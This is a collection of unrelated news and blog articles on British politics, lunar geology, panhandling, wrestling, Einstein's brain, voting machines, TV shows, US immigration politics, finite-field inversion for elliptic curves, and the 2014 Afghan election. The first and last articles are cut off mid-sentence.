his days working at 10 Downing Street, Lance Price comments: "Tony Blair's political note to everybody today (14 May 2000) was quite funny. They never seem to produce any real action because of [No 10's] ludicrous lack of an effective command structure and absence of discipline. He has obviously spotted this and says, 'I don't write them for fun'."  Or go back to John Major's government. Writing about the BSE crisis in cattle, Sir Richard Packer, who was a senior civil servant at the time, wrote: "Ministers collectively panicked. None of these established conventions were followed In the absence of standard procedures, disorder and confusion abounded." Indeed, our last three prime ministers, John Major, Tony Blair and Gordon Brown, have been masters of dysfunction.  The unnecessary deaths of our soldiers in Afghanistan because of shortcomings in their equipment flow directly from the pervasive chaos that penetrates much of government. Which brings up the first question for those of us who want a big change: would a government led by David Cameron be any better? I wouldn't bank on it for a variety of reasons. Like Tony Blair before him, Mr Cameron would enter Downing Street when his party had been in opposition for a lengthy period. He would be subject to the same strong temptation to put securing a second term as the overriding priority. If so, Mr Cameron might easily find himself driven to allowing presentation to dictate policy as Mr Blair was. We would again, for instance, have government by gesture.  As before, the announcement of new legislation would be chiefly designed to serve public relations purposes, with little consideration given to the detailed contents of the Bills placed before Parliament. The MP Chris Mullin wrote in his diary for May 2003: "Today we nodded through Blunkett's plan for ratcheting up life sentences and doubling (from seven to 14 days) the length of time that terrorist suspects can be held without trial. Both of these measures have only appeared in the last 10 days, so there has been no previous opportunity for discussion."  Mr Brown is an equally awful example. First, he thinks up the vote-winning headline he would like to see, then he conjures up a policy that would produce the desired result. After that, he watches with dismay as numerous objections to the desired policy are voiced and finally he makes a U-turn. Would Mr Cameron finally be so different once he got under way? Fears that Mr Cameron in office would be more or less the same as before, with a different voice, are causing many people to echo the title of Lenin's famous pamphlet and ask themselves: "What is to be done?" In a useful posting on the openDemocracy website, Anthony Barnett describes seven suggestions that are being actively discussed as ways of delivering change. I list them here.  1. Take a single issue like electoral reform and demand a referendum on it at the same time as the election, as the key issue that will open up change. This is the approach of "Vote for Change".  2. Generate basic pledges for change that are then taken to all candidates to create a reforming Parliament.  3. Meet, deliberate, hold a convention, decide, influence, elect and hold to account, starting with 1,000 meetings in pubs or living rooms around the UK, or as part of discussions in existing networks. This is the original "Real Change" proposal.  4. Get Parliament to pass an Act empowering a citizen's deliberative convention to decide on a set of major reforms. A Bill to do this has been written by "Unlock Democracy".  5. Launch a campaign to "Take back our Parliament". This would focus on how it represents us (proportionality, open primaries), its honesty (transparency), defending our liberties (independence) and its funding (no corruption).  6. Bring about a network of independent candidates committed to implementing a reform agenda.  7. Organise an online force for change on the lines of MoveOn in the US. This is the approach adopted by the campaign group 38 Degrees.  It would be interesting to know what readers think of this list. Faced with such a choice of dishes, I would prefer to take something from most of them. I would cheerfully join a campaign to take back our Parliament. It has been at the centre of the nation's life for 600 to 700 years and it is only through Parliament that legitimate change can be achieved, so that is where I would start. British government can be reformed only from the inside, not the outside.  To do this, I would take up the suggestion that a network of independent candidates committed to implementing a reform agenda should be created. Their aim would have to be the incredibly ambitious one of forming the next government. I hope that such a force, if it could be formed, would commit itself to cleaning up our system of government within the life of a single Parliament and then withdraw. It wouldn't be possible to keep the traditional parties at bay for much longer than that.  I would also borrow from MoveOn its mastery of the internet for political purposes. And to establish what such a reform programme should comprise, I would go with the "Real Change" proposal and have the 1,000 meetings around the country. In his pamphlet, Lenin called for the formation of a new party. That, too, is what a lot of people are thinking about, though in my mind it would be strictly temporary – its task would be to make our political system fit for the 21st century. Job done, its representatives would return to ordinary life.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-The moon's crust was apparently active far more recently than previously believed, scientists say.  These new findings raise questions about how the moon formed and evolved, researchers said.  Although the Earth's crust is still shifting, driven by the churning semimolten rock underneath it, researchers had thought the moon had cooled off much too long ago to still have any such tectonic activity. For instance, the youngest known tectonic features on the lunar landscape until now — small cliffs in the lunar highlands resulting from wrinkling of the surface as the moon's interior cooled and shrunk — are thought to be less than 1 billion years old, although by how much is uncertain.  Now, images collected by the Lunar Reconnaissance Orbiter hints the moon has probably seen tectonic activity within the last 50 million years.  In these photos, researchers spotted a dozen or so narrow, trenchlike features known as graben in the lunar highlands and in the dark plains of volcanic rock known as the mare basalts. Graben are essentially troughs with two faults or cracks in the surface on either side of them. They are thought to have formed as the lunar crust was stretched. [10 Coolest Moon Discoveries]  "Overall on the moon, you have this contracting, shrinking environment, but in some places, apparently there's this stretching extension of the crust," said study lead author Thomas Watters, a planetary scientist at the Smithsonian Institution in Washington.  The graben the scientists detected, which reach up to about 1,640 feet (500 meters) wide and 1.1 miles (1.8 kilometers) long, appear relatively pristine. This suggests they formed recently — otherwise, they would be marred more often by craters from meteor impacts over time.  "We think they're less than 50 million years old, but they could be 10 million years old, could be 1 million years old, could have happened 40 years ago," Watters told SPACE.com. "The intriguing picture that's emerging of the moon is that there is recent geological activity going on."  Moonquakes detected by seismic sensors installed during the Apollo missions support the notion of recent activity on the moon, researchers added. All in all, the moon's interior may still be hot.  "The moon may not only have been tectonically active recently, but may still be tectonically active today," Watters said.  Models of how the moon cooled over time suggest it was totally molten after its formation, and that it should now be contracting as it cools, forcing the surface to wrinkle. However, if this was true, such compression would have suppressed the creation of graben — these ditches typically form when the crust stretches, not crinkles.  Instead, these findings suggest the moon was not completely molten after it was formed. If this were the case, the moon would not contract strongly enough to suppress the emergence of graben.  "Currently, a popular idea for how the moon formed is that it was completely molten in the beginning— after a Mars-size object hit Earth very early in its history, the debris cloud from the surviving material formed the moon," Watters said. "This may lend support to alternative scenarios that the moon was not completely molten when it formed, that only part of it was, forming a magma ocean."  Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy  Future research can look for more graben in Lunar Reconnaissance Orbiter photos once the satellite finishes imaging the moon, Watters said. He and his colleagues detailed their findings online Feb. 19 in the journal Nature Geoscience.  Follow SPACE.com for the latest in space science and exploration news on Twitter@Spacedotcom and on Facebook.
-One day a few years ago I passed a street teeming with panhandlers, begging for change. And it made me wonder what causes people to stop for beggars and what causes them to walk on by. So I hung out for a while, engaging in a bit of discreet peoplewatching. Many people passed the beggars without giving anything, but there were a few who stopped. What was it that separated those who paused and gave money from those who didn’t? And what separated the more successful beggars from those who were less successful? Was it something specific about their situation, or their presentation? Was it the beggar’s strategy?  To look into this question, I called on Daniel Berger Jones, an acting student at Boston University who had just finished hiking around Europe. Not having shaved in months and already looking pretty scruffy, he was ready for the job (plus as part of his training to be an actor I figured it would be good for him to learn how to beg for money – at the time he did not see that particular benefit). So I found a street corner and placed him there to take on the panhandling trade. I asked Daniel to try a few different approaches to begging and to keep track of the approaches that made him more or less money. (Of course, after the experiment was over we donated all the money that he made to charity). The general setup was what we call a 2×2 design: When people walked by, Daniel would either be sitting down (the passive approach) or standing up (the active approach) and he would either look them in the eyes or not. So there were times when he was 1) sitting down and looking people in the eyes, 2) sitting down and not looking people in the eyes, 3) standing up and looking people in the eyes, or 4) standing up and not looking people in the eyes.  Daniel got to work, scrounging for money. He stayed on his corner for a while, trying the different approaches. And it turned out that both his position and his eye contact did, in fact, make a difference. He made more money when he was standing and when he looked people in the eyes. It seemed that the most lucrative strategy was to put in more effort, to get people to notice him, and to look them in the eyes so that they could not pretend to not see him.  Interestingly, while the eye contact approach was working in general, it was clear that some of the passersby had a counterstrategy: they were actively shifting their gaze in what seemed to be an attempt to pretend that he wasn’t there. They simply acted as if there was a dark hole in front of them rather than a person, and they were quite successful at averting their gaze.  At some point, something very interesting happened. There was another beggar on the street – a professional beggar – who approached young Daniel and said, “Look kid, you don’t know what you’re doing. Let me teach you.” And so he did. This beggar took our concept of effort and human contact to the next level, walking right up to people and offering his hand up for them to shake. With this dramatic gesture, people had a very hard time refusing him or pretending that they did not seen him. Apparently, the social forces of a handshake are simply too strong and too deeply engrained to resist – and many people gave in and shook his hand. Of course, once they shook his hand, they would also look him in the eyes; the beggar succeeded at breaking the social barrier and was able to get many people to give him money. Once he became a real flesh and blood person with eyes, a smile and needs, people gave in and opened their wallets. When the beggar left his new pupil, he felt so sorry for poor Daniel –and his panhandling ineptitude– that he actually gave him some money. Of course Daniel tried to refuse, but the beggar insisted.  I think there are two main lessons here. The first is to realize how much of our lives are structured by social norms. We do what we think is right, and if someone gives us a hand, there’s a good chance we will shake it, make eye contact, and act very differently than we would otherwise.  The second lesson is to confront the tendency to avert our eyes when we know that someone is in need. We realize that if we face the problem, we’ll feel compelled to do something about it, and so we avoid looking and thereby avoid the temptation to give in and help. We know that if we stop for a beggar on the street, we will have a very hard time refusing his plea for help, so we try hard to ignore the hardship in front of us: we want to see, hear, and speak no evil. And if we can pretend that it isn’t there, we can trick ourselves into believing –at least for that moment– that it doesn’t exist. The good news is that, while it is difficult to stop ignoring the sad things, if we actively chose to pay attention there is a good chance that we will take an action and help a person in need.
-Did CM Punk change the landscape of WWE? Feb 06, 2014  Many people have voiced their opinions on the self-proclaimed ‘best in the world’ walking out of WWE last week.  Whether you think CM Punk was right or wrong to leave in the manner he did, one thing is undeniable: he changed the business.  Historically, Vince McMahon maintained the policy that bigger guys get championships. However, post-Attitude Era, that mindset softened somewhat, as we saw guys like Rey Mysterio hold the belt.  Nonetheless, you still had to look like a champion… until CM Punk came along.  Punk walked into the WWE in 2005 covered in tattoos, with facial piercings and long hair. He didn’t look like a champion; he looked like a tramp. The company took one look at him and made a decision that he would never be a top superstar. Punk himself admitted in his Best in the World documentary that he didn’t think he would be part of WWE for long.  In spite of this, Punk proved that he had the skills in the ring and his big breakthrough came when he showed WWE that he could work as a heel.  The Straight Edge Society made him one of the most hated heels in the company, and following contract negotiations in 2011, Punk proved himself to be the best superstar on the mic when he delivered one of the greatest promos in WWE history.  The Chicago-born grappler took WWE’s popularity through the roof with his trademark pipebombs leading up to Money In The Bank 2011, where he finally beat ‘the man’ – John Cena – for the WWE Championship, and went on to become the longest-reigning WWE Champion of the modern era (and the sixth longest of all time), with a 434 day run.  Only the returning Dwayne ‘The Rock” Johnson could knock Punk off his perch, which he did at last year’s Royal Rumble.  Punk managed to change WWE’s point-of-view that only good-looking, muscle-bound superstars could hold the title. He walked in as a Punk kid and became the champion without ever changing his character or beliefs; he became WWE and World champion his way, broke down barriers at every interval and showed the company that they should never judge a book by its cover.  There are stories circulating about how selfish Punk has been by leaving without notice or putting anyone over, but I feel he is justified in his actions. Daniel Bryan has the WWE universe behind him every match and is part of a storyline where those in charge are keeping him from the title. Punk went through the same thing in real life behind the scenes. He was kept away from the title trail for most of last year, and put into an endless feud with Paul Heyman, but he still turned out great performances.  He went to every event and stole the show, but WWE never gave him his WrestleMania main event.  If he was to hang on and leave in July when his contract expires, then he wouldn’t be able to make this kind of point, by leaving out of principle prior to April’s WrestleMania. Of course, by leaving now, he still won’t get his main event (or that fat Mania payday), but in doing so he has made an impact. He has highlighted WWE’s reliance on past superstars and made the world aware that the talent feel the same way as the fans.  I feel like Punk has done all he can in WWE to smash through those glass ceilings or reach those brass rings, and he felt that his job was done. And whether people will admit it or not, Punk has changed the landscape of the biggest wrestling company in the world.  Other wrestlers now know that they don’t need to look a certain way; they don’t need to behave a certain way; and they can make a career for themselves on their own terms.  With Punk gone, there will be a gap that needs to be filled. Hopefully his long-time comrade Daniel Bryan can step up and be ‘the man’ in his absence.  Related Posts Why the Royal Rumble is better than WrestleMania Most wrestling fans consider WrestleMania to be the best pay-per-view of the year, but the Royal Rumble will always be my favorite. Ever since I discovered a VHS tape of the 1992 Royal Rumble at my local video store as a child, I’ve been fascinated by the event. While the title matches on the card […]  Review: Baywatch I used to be a huge fan of the original TV series of Baywatch (1989 – 1999), fantasising about running (in slo-mo, of course) along a golden sand beach in a skin-tight orangey red one piece, my long locks flowing like silk behind me. So when the invite came through for the 2017 movie reboot […]  TNA has a new UK TV deal Good news for wrestling fans – TNA will be back on UK TV from April 21. The wrestling promotion has signed a deal with Freeview channel Spike to broadcast IMPACT episodes and pay-per-views in the UK. The company’s former home, Challenge TV, which used to air the weekly IMPACT show on Sunday nights, dropped TNA in January. […]
-Image Slideshow From Ref 1 / with permission of NMHM, Silver Spring, MD From Ref 1 / with permission of NMHM, Silver Spring, MD From Ref 1 / with permission of NMHM, Silver Spring, MD  Albert Einstein is considered to be one of the most intelligent people that ever lived, so researchers are naturally curious about what made his brain tick.  Photographs taken shortly after his death, but never before analysed in detail, have now revealed that Einstein’s brain had several unusual features, providing tantalizing clues about the neural basis of his extraordinary mental abilities1.  While doing Einstein's autopsy, the pathologist Thomas Harvey removed the physicist's brain and preserved it in formalin. He then took dozens of black and white photographs of it before it was cut up into 240 blocks. He then took tissue samples from each block, mounted them onto microscope slides and distributed the slides to some of the world’s best neuropathologists.  The autopsy revealed that Einstein’s brain was smaller than average and subsequent analyses showed all the changes that normally occur with ageing. Nothing more was analysed, however. Harvey stored the brain fragments in a formalin-filled jar in a cider box kept under a beer cooler in his office. Decades later, several researchers asked Harvey for some samples, and noticed some unusual features when analysing them.  A study done in 1985 showed that two parts of his brain contained an unusually large number of non-neuronal cells called glia for every neuron2. And one published more than a decade later showed that the parietal lobe lacks a furrow and a structure called the operculum3. The missing furrow may have enhanced the connections in this region, which is thought to be involved in visuo-spatial functions and mathematical skills such as arithmetic.  Photo opportunity  Now, anthropologist Dean Falk of Florida State University in Tallahassee and her colleagues have obtained 12 of Harvey’s original photographs from the National Museum of Health and Medicine in Silver Spring, Maryland, analysed them and compared the patterns of convoluted ridges and furrows with those of 85 brains described in other studies.  Many of the photographs were taken from unusual angles, and show structures that were not visible in photographs that have been analysed previously. The analysis is published today in the journal Brain1.  AFP/Getty Images  The most striking observation, says Falk, was “the complexity and pattern of convolutions on certain parts of Einstein's cerebral cortex”, especially in the prefrontal cortex, and also parietal lobes and visual cortex.  The prefrontal cortex is important for the kind of abstract thinking that Einstein would have needed for his famous thought experiments on the nature of space and time, such as imagining riding alongside a beam of light. The unusually complex pattern of convolutions there probably gave the region and unusually large surface area, which may have contributed to his remarkable abilities.  Falk and her colleagues also noticed an unusual feature in the right somatosensory cortex, which receives sensory information from the body. In this part of Einstein’s brain, the region corresponding to the left hand is expanded, and the researchers suggest that this may have contributed to his accomplished violin playing.  According to Sandra Witelson, a behavioural neuroscientist at McMaster University in Hamilton, Canada, who discovered that the parietal operculum is missing from Einstein’s brain, the study’s biggest contribution may be in encouraging further studies. “It makes clear the location and accessibility of photographs and slides of Einstein's brain,” she says. “This may serve as an incentive for other investigations of Einstein's brain, and ultimately of any consequences of its anatomical variations.”
-Most expensive Senate race in U.S. history - and balance of Senate along with it - may be determined by 100% unverifiable votes...  Brad Friedman Byon 11/3/2014, 3:45pm PT  So far, in the run-up to Tuesday's mid-term election, we've covered 100% unverifiable touch-screen votes reportedly flipping on screen in Texas (D to R), in Illinois (R to D), in Tennessee (NO to YES on anti-choice initiative), in Maryland (R to D) and in Arkansas (unclear which direction the votes were flipping in several different counties.)  Now, votes are reportedly flipping from Democratic to Republican in the "toss up" U.S. Senate race in North Carolina, a crucial contest if Democrats have any chance of hanging on to the majority in that chamber. The "down to the wire" contest is also reportedly turning out to be the most expensive Senate race in U.S. history.  So can supporters of either candidate actually have any confidence at all in results to be reported after the close of polls on Tuesday in the Tar Heel State?...  As the News-Record reports:  GREENSBORO - Another Guilford County voter has reported having problems casting a vote for a U.S. Senate candidate. Percy Bostick, 69, of Greensboro said he tried casting a vote for Democrat Kay Hagan at the Old Guilford County Courthouse, only to have the machine register Republican Thom Tillis as his choice. "I called one of the poll workers over," Bostick said. "She said do it again. And again, I touched the screen at the proper place for Kay Hagan, and it again reported it for Thom Tillis." On his fourth attempt, the machine registered the vote for Hagan.  ...  Charlie Collicutt, Guilford County elections director, said his office has received 14 reports of voting problems since early voting started Oct. 23, including seven from people who became concerned after they got home.  Should voters be worried about votes flipping on touch-screen systems? What should you do if it happens to you or someone else at the polls?  See our first report of the 2014 election season on this issue for answers to those questions, as well as several of our subsequent reports (all listed below). Unfortunately, we have to file similar reports election-cycle after election-cycle after election-cycle, since, despite the by now very-well-known shortcomings of these systems, so many elected officials simply don't give a damn about whether their voters are able to cast overseeable, verifiable votes.  More than a quarter of U.S. voters this year will cast 100% unverifiable votes on such e-voting systems which may, or may not, record and register any votes the way that voters intended. There is no way for voters to ever know one way or another.  Whenever a "winner" is finally announced in the North Carolina race, based on the completely unverifiable computer tallies from the state's ES&S-manufactured touch-screen voting systems, supporters of the "losing" candidate are likely to yell foul if the margin of reported victory is smaller than the number of votes cast on the oft-failed, easily-manipulated touch-screen voting systems. Given that so many NC votes are still, shamefully, completely unverifiable touch-screen votes in 2014, those partisans (from either party) will have every right to do so.  * * *  * * *  Please help support The BRAD BLOG's fiercely independent, award-winning coverage of your electoral system --- now in our ELEVENTH YEAR! --- as available from no other media outlet in the nation...  Choose monthly amount... $10 : $10.00 USD - monthly $20 : $20.00 USD - monthly $50 : $50.00 USD - monthly $100 : $100.00 USD - monthly
-The ratings for last night’s Supergirl premiere were, fittingly, very super.  According to Entertainment Weekly, the series set “a fall new series record of 14 million viewers and a 3.2 rating among adults 18–49.” Supergirl was the second-highest-rated series on TV last night, following The Big Bang Theory.  TV Guide’s Michael Schneider writes that, of the series’ teen viewers, more were male than female:  Interesting stat: #Supergirl did better with male teens (1.7) than female teens (1.4). Either way, No. 1 b’cast show with teens (1.6) Monday — Michael Schneider (@franklinavenue) October 27, 2015  Although it remains to be seen if Supergirl‘s ratings will continue to soar up, up, and away as the series progresses, the excitement over the premiere, despite (or perhaps because?) of the pilot leak back in May, seems to me to indicate an appetite for more female-focused shows like this one.  It’s worth noting that the Jaimie Alexander-starring Blindspot, another lady-led genre show, is also one of the highest-rated series of the fall.  —Please make note of The Mary Sue’s general comment policy.—  Do you follow The Mary Sue on Twitter, Facebook, Tumblr, Pinterest, & Google +?
-In 20 short days, the beaches will open on Bachelor in Paradise, a tropical halfway house for Bachelor/Bachelorette rejects still looking for love despite getting the boot on their respective show. As per usual, this season's ensemble is a carefully calibrated mix of veterans (Clare, whose Native American name is "Talks With Raccoons"), randoms (wait, who is Dan again?), recent castoffs (Jared and his patchy beard), professional drama queens (Ashley I.), and comic relief (Ashley S., aka "Onion Girl"). Together they will descend on the town of Sayulita, located in Vallarta-Nayarit, Mexico, for weeks of flirting, fighting, forming alliances, occasionally fornicating, and generally jockeying to be the final couple standing. Click through this slideshow to meet all of this season's players (and read their hilariously earnest "official" bios), and then join us back here every week for Bachelor in Paradise recaps and host Chris Harrison's blog. After all, it's the summer — doesn't your brain need a vacation?  Bachelor in Paradise premieres Sunday, Aug. 2 at 8 p.m. on ABC.
-“If we fail on this, just picture Europe,” said Rep. Dave Brat (R-VA) of what would happen if Congress failed to permanently repair America’s “broken immigration system” and just passed another amnesty instead.  Brat made his comments on Friday’s edition of SiriusXM’s Breitbart News Tonight in an interview with Breitbart News’s Senior Editor-at-Large Rebecca Mansour.  America will resemble “France, Sweden, Germany, [or] the Netherlands” in the absence of enacting an immigration system “for the benefit of American citizens and U.S. workers,” said Brat.  Immigration is a top-priority issue, said Brat: “This is not like any other policy issue. This will determine the nature of our country over the next decades in how we settle this. Either we’re going to add to the anxiety and all this hate-filled back and forth, or we find an economic solution for this country moving forward.”  Brat discussed Congress’s considerations to codify the Obama administration’s Deferred Action for Childhood Arrivals (DACA) policy into federal law.  Congress must prioritize four repairs for the immigration system before contemplating any DACA-style amnesty negotiation, said Brat: 1. Ending chain migration and the visa lottery; 2. Mandating employer use of E-Verify; 3. Construction of a southern border wall; and 4. Interior enforcement of immigration law.  The four aforementioned “permanent fixes” must precede any DACA negotiation regarding amnesty for illegal immigrants, said Brat: “It shouldn’t be about trusting or hoping, the permanent part has to come first, you see in that place and then you negotiate later.”  Rep. Steve King (R-IA) echoed Brat’s position in an interview with Breitbart News Tonight aired last week, calling for prioritization of border security and interior enforcement of immigration law over any consideration of amnesty for foreigners illegally residing in the homeland.  Promises for border security and interior enforcement of immigration law from politicians supporting broad amnesty for illegal immigrants are always broken, said Brat:  You need permanent fixes to the broken immigration system before any DACA negotiation takes place, because DACA is an automatic and permanent three million increase. So DACA’s 700,000 times three or four, and that gives you the three million, and that’s permanent, so you don’t trust anything. Our side always gets rolled, we get promises for internal enforcement. Obama was all in favor of that, right? He even added spending, more agents, more this, more that, and then he said, “Hey, agents that we just hired? Don’t follow the law of land.” He told them not to enforce the law.  Drawing on the expansion of previous amnesties, Mansour asked how politicians’ promised parameters of a new DACA-style bill could be trusted.  “There’s talk of putting an end to chain migration,” said Mansour. “But that seems to be a little bit like wishful thinking because couldn’t this be litigated in the courts? Even if you try to pass something, how effective is that going to be long-term? It seems as if with each one of these amnesties that are granted, they’re always litigated in the courts and there are always loopholes that people find, and it just ends up being endless. How much can we trust that there’s going to be something in some deal that they strike that [ends] chain migration? How is that going to be enforced?”  Brat said this is precisely why we need “the permanent fixes in policy” as a “starting point.” He explained:  We’re already hearing decay from the original permanent policy, even on [chain migration]. They’re starting to say, “Well, maybe just [chain migration] for these people, and maybe not just DACA, more than DACA.” So, you’re right. It’s just like [the amnesty granted under] Reagan. You really don’t trust. That’s why I emphasize the permanent fixes. You need permanent fixes to the immigration system that’s broken before any DACA negotiation takes places, because the DACA is an automatic three million permanent increase; so DACA’s 700,000 times three or four, and that gives you the three million, and that’s permanent. So you’re right, you don’t trust anything, right?  “Elites” and “the swamp in DC” support DACA-style amnesty legislation, said Brat, because they “want cheap labor.”  “I can’t think of anything worse for Republicans than to vote against that series of policies,” cautioned Brat, referring to the aforementioned “permanent fixes” he proposed toward immigration policy.  House Speaker Paul Ryan (R-WI), said Brat, had promised not to connect January-scheduled budgetary debates votes to any DACA-style amnesty: “Our leadership promised that DACA would not be attached to any must-pass [continuing resolution], because that is a total a breakdown and usually ends up with chasing Democrat votes. If they keep their word on that, that’s a pretty good sign. They promised it would be a stand-alone bill on DACA, and that’s good news, and that would require a majority of Republican votes to pass.”  Republican focus on amnestying millions of illegal immigrants, said Mansour, is divorced from President Donald Trump’s popular mandate on issues relating to immigration.  “A DACA fix is nowhere near what the American people are most concerned about, nowhere near the top of the list,” said Mansour. “I don’t understand the urgency on this. It seems to me to be a Democrat issue of urgency since this is their next big pool of voters. I’m not sure why the GOP feels such urgency to deal with this.”  “Yeah, I don’t either,” said Brat. “That always amazes me. There’s nothing on DACA policy in the Republican platform. Paul Ryan, to his credit, promised that a DACA fix would not be attached to any must-pass legislation like a budget, [continuing resolution], omnibus, et cetera. It’s coming up January 20th. He said it would be stand alone.”  Noting that President Trump won in 2016 on “a very hard-line immigration platform” that was “wildly successful,” Mansour said that grassroots conservatives found this push for DACA amnesty, instead of the popular Trump immigration agenda, concerning.  “It’s a little bit strange to us that the first bit of immigration legislation that the Republican Party has taken up on Capitol Hill is a DACA fix instead of the RAISE Act that the Trump administration got behind or the wall,” said Mansour. “Why does it have to be DACA? It seems a little bit odd that that’s what we’re going to be taking up on immigration first.”  “Right,” replied Brat. “Well, we do have some bipartisan stuff coming up that’ll be interesting to see how the president puts all of this together. We’ve got infrastructure coming up. The Democrats will likely want to do that.”  Breitbart News Tonight airs Monday through Friday on SiriusXM Patriot channel 125 between 9:00 p.m. and midnight Eastern (6:00 p.m. to 9:00 p.m. Pacific).  LISTEN:  Follow Robert Kraychik on Twitter @rkraychik.
-One of the important steps of computing point addition over elliptic curves is a division of two polynomials. When working in $GF(2^n)$ we don't have large enough powers to actually do a division, so we compute the inverse of the denominator and then multiply. This is usually done using Euclid's method, but if squaring and multiplying are fast we can take advantage of these operations and compute the multiplicative inverse in just a few steps.  The first time I ran across this method it really confused me. The process itself does not depend on normal basis math, it just looks like it. Using normal basis to compute the squares means you only need a barrel shifter, so for the field sizes mentioned in the "One Cycle Polynomial Math" blog, this method is ideal for either FPGA or embedded implementations.  We start off with a polynomial $\alpha$ in a field $GF(2^n)$ which means $$\alpha = \sum_{i=0}^{i=n-1}c_i\beta^{2^i}=\sum_{i=0}^{i=n-1}d_i\beta^i$$ where $c_i$ and $d_i$ have values $0$ or $1$. We want to find its inverse $\alpha^{-1}$. Using Fermat's Little Theorem we can write $\alpha^{-1} = \alpha^{2^n - 2}$. The first step is to break this down by noticing that $$\alpha^{2^n-2} = (\alpha^{2^{n-1}-1})^2$$ From here, things get a little more complicated.  What we are going to do is build a chain of terms all of the form $\alpha^{2^k-1}$. The final term in the chain will be $\alpha^{2^{n-1}-1}$ so we just need to square this result to have our inverse. The chain will start with $\alpha^{2^1-1}=\alpha$.  Since we are going to do an addition chain, the next form to look at is is $\alpha^{2^{k+j}-1}$. Let's expand this: $$\begin{array}{c}\alpha^{2^{k+j}-1}=\alpha^{2^{k+j}-2^j+2^j-1}\\ =\alpha^{2^{k+j}-2^j}\cdot \alpha^{2^j-1}\\ =(\alpha^{2^k-1})^{2^j}\cdot \alpha^{2^j-1}\end{array}$$ So if we have the forms $\alpha^{2^k-1}$ and $\alpha^{2^j-1}$ we can get the form $\alpha^{2^{k+j}-1}$ by squaring the form $\alpha^{2^k-1}$ $j$ times.  A special version of this is when $k = j$. Putting $k+k=2k$ into the above we find $\alpha^{2^{2k}-1}=(\alpha^{2^k-1})^{2^k}\cdot \alpha^{2^k-1}$ So now we have the tools to build an addition chain.  There are many ways to create a chain of sums. The simplest is to look at the binary representation of a number, use the $2k$ form for each bit position, and add the terms with the bits set. As a concrete example, let's look at $n=106$. The first step is to subtract $1$ so we start with $105$. In binary $105 = 1101001$. The most significant bit is $2^6$ so the first 6 terms in the chain are $1, 2, 4, 8, 16, 32, 64$. The bit position for 2^5 is set so we add the form for $32$ to get $96$, the bit for position $2^3$ is set so we add form $8$ to get $104$, and then the last bit is set so we add the term for $1$ to get $105$. The first term is just $\alpha$. Let's call the first term $\gamma_0$. We use the doubling form 6 times and get the following  $\gamma_0$ $\alpha^{2^1-1}$ $\gamma_1=\gamma_0^2 \cdot \gamma_0$ $\alpha^{2^2-1}$ $\gamma_2=\gamma_1^{2^2}\cdot \gamma_1$ $\alpha^{2^4-1}$ $\gamma_3=\gamma_2^{2^4}\cdot\gamma_2$ $\alpha^{2^8-1}$ $\gamma_4=\gamma_3^{2^8}\cdot\gamma_3$  $\alpha^{2^{16}-1}$ $\gamma_5=\gamma_4^{2^{16}}\cdot\gamma_4$ $\alpha^{2^{32}-1}$ $\gamma_6=\gamma_5^{2^{32}}\cdot\gamma_5$ $\alpha^{2^{64}-1}$  Now we can begin the summation part of the chain. Bit 6 and bit 5 are set in the binary representation of 105 so we start with $\gamma_7=\gamma_6^{2^{32}}\cdot \gamma_5=\alpha^{2^{96}-1}$. Bit 3 is the next bit set so $\gamma_8=\gamma_7^{2^8}\cdot \gamma_3 = \alpha^{2^{104}-1}$. Finally the last bit is set so we have $\gamma_9=\gamma_8^2\cdot \gamma_0=\alpha^{2^{105}-1}$.  Our final step is to compute the square of $\gamma_9\colon \gamma_9^2=(\alpha^{2^{105}-1})^2=\alpha^{2^{106}-2}=\alpha^{-1}$.  The thing that confused me the most about this algorithm was the number of times to square the first term. It depends on the second term. We can see this from the derivation of the $j+k$ form when we add and subtract the second term's $2j$ value. We could have just as easily added and subtracted $2k$, but then $k$ would be the second term.  Another thing that confused me is the arbitrariness of the addition chain. A completely valid result can be derived using the sequence $1, 2, 3, 6, 12, 13, 26, 52, 104, 105$. This method "walks" down the bit pattern. It takes the same number of steps as the doubling first and adding terms. It might take some experimentation to determine which method (or something else entirely) is better for a particular application.  When implemented using normal basis representation, the squaring operations can be performed in a single cycle using a barrel shifter. If implemented in a field size which allows the type 1 normal basis, then the multiplies can be also be done very quickly. Thus, for the right field size, computing an inverse using the above algorithm can be done in very few clock cycles compared with standard implementations which can take 100's of clocks.
-KABUL (Reuters) - Millions of Afghans turned out for a second time on Saturday to elect a successor to President Hamid Karzai on Saturday, a decisive test of the country’s ambitions to transfer power democratically for the first time in its tumultuous history.  Most foreign troops will leave by the end of 2014, and whoever takes over from Karzai will inherit a troubled country plagued by an assertive Taliban insurgency and an economy crippled by corruption and the weak rule of law.  The run-off pitted former anti-Taliban fighter Abdullah Abdullah against ex-World Bank economist Ashraf Ghani after neither secured the 50 percent majority needed to win outright in the first round on April 5.  Violence spiked on the day as militants launched hundreds of attacks with rockets, explosives and gunfire, leaving at least 20 civilians dead, along with a further 11 police and 15 army personnel, the interior ministry said.  But clashes did not deter millions of voters from turning out and feared high-profile attacks did not materialize. Instead, voting ended at 4 p.m. (1130 GMT) with a palpable sense of relief, at least in the Afghan capital.  “I’m from this country so I am never afraid of threats,” said Lajiullah Azizi, a hospital worker who voted in western Kabul just minutes after a small bomb exploded at his polling station. “I hope this election will bring peace.”  Officials immediately began counting ballots, although Afghanistan’s difficult terrain, where ballot boxes have to hauled by donkey from some of its remotest corners, means preliminary results will not be known until July 2.  Karzai, standing down after 12 years in power marked by increasingly sour relations with the West, is certain to retain a hand in politics but has been tight-lipped about his plans.  “Today Afghanistan takes a step towards stability, development and peace. Come out and determine your destiny,” Karzai, clad in his trademark green Afghan robe, said after casting his ballot.  Karzai’s relationship with the West has deteriorated sharply over his refusal to sign a security pact with the United States allowing a small contingent of U.S. forces to remain in the country beyond 2014. Both Abdullah and Ghani have promised to sign it promptly.  Twelve million voters were eligible to cast ballots at 6,365 polling centers across Afghanistan, from windswept deserts on the Iranian border to the rugged Hindu Kush mountains.  Despite the outbreaks of violence, voters defied threats and long queues snaked out of polling centers in urban areas soon after voting began at 7 a.m.  Turnout was more than seven million, election commission chief Ahmad Yousuf Nuristani said, roughly the same as in the first round of voting in April.  The turnout was so high that some 333 voting centers ran out of ballot papers, sparking minor protests by disgruntled voters. The election commission said additional materials were later distributed and calm was restored.  “Security is a concern but the people of Afghanistan have defied security threats so far,” Abdullah said.  Further afield, the picture looked less rosy, however, with voters in provinces such as Wardak refusing to come out to 